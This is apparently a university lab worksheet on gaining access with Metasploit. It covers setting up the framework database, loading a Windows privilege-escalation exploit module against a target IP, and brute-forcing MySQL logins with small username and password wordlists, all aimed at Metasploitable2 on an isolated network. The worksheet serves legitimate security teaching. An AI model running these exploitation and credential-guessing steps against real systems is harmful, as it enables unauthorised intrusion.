Reference no: EM134018278

Penetration Testing & Cloud Security

Instructions

For all exercises in this unit, you are required to use your provisioned Edulab Kali Linux Environment. Please ensure you have logged in using your Student ID and temporary password. Students working with Linux environments should ensure all required services are properly configured before beginning the lab.

Portfolio Exercise 3 (Session 3)

Title: Gaining Access & Exploitation Frameworks

Purpose & Scope

This lab transitions from reconnaissance to active exploitation and authentication auditing. You will initialize backend databases for tracking exploit data, explore modular architectures, configure specific payloads, and utilize custom wordlists to identify weak credentials via automated scanning scripts.

Required Infrastructure & Materials

Run the following virtual environments in an isolated network:

Attacker Machine: Kali Linux VM.
Target Machine 1: Metasploitable2 or vulnerable Linux host (MySQL/SSH active).
Target Machine 2: Windows VM in EduLab with exposed protocols. Understanding Data Communication And Networking concepts can help when analyzing connectivity between attacker and target systems.

Step-by-Step Lab Execution

Step 1: Initializing the Backend Infrastructure Database

Open your terminal in Kali Linux.
Start the PostgreSQL service: sudo service postgresql start
Enable the service to persist: sudo systemctl enable postgresql
Initialize the framework database schema: sudo msfdb init

Deliverable 1: Provide a screenshot confirming successful initialization. This task relates to principles of Database Management Dbms used for storing and managing framework data.

Step 2: Interface and Architecture Discovery

Start the Metasploit Framework Console in terminal: msfconsole
Check the database connectivity: db_status
Investigate the modular structure: show exploits, show payloads, show auxiliary

Deliverable 2: Record the total number of modules displayed at the bottom of the console.

Step 3: Vulnerability Search and Configuration

Access filtering syntax documentation: help search
Search for Windows exploits (published 2015): search cve:2015 type:exploit platform:windows
Load the privilege escalation module: use exploit/windows/local/ntapphelpcachecontrol
Examine configuration options: show options
Review technical documentation: show info
Set the target IP address: set RHOST <Your_Target_VM_IP>
Return to global console: back

Deliverable 3: Provide a screenshot of the show options output confirming your target host configuration.

Step 4: Custom Dictionaries and Automated Auditing

In a new terminal tab (directory: ~/Downloads), create users.txt: nano users.txt (Add in each line: root, admin, administrator, user)
Create passwords.txt: nano passwords.txt (Add in each line: password, 123456, admin, password123)

In msfconsole, load the MySQL auxiliary module: use auxiliary/scanner/mysql/mysql_login
Configure the scanner: set user_file /home/kali/Downloads/users.txt, set pass_file /home/kali/Downloads/passwords.txt, set RHOSTS <Target_Vulnerable_VM_IP>
Execute: run

Deliverable 4: Capture the output and indicate if credentials were recovered. If you automate related scripts or custom tooling, knowledge of Python can assist in extending security testing workflows.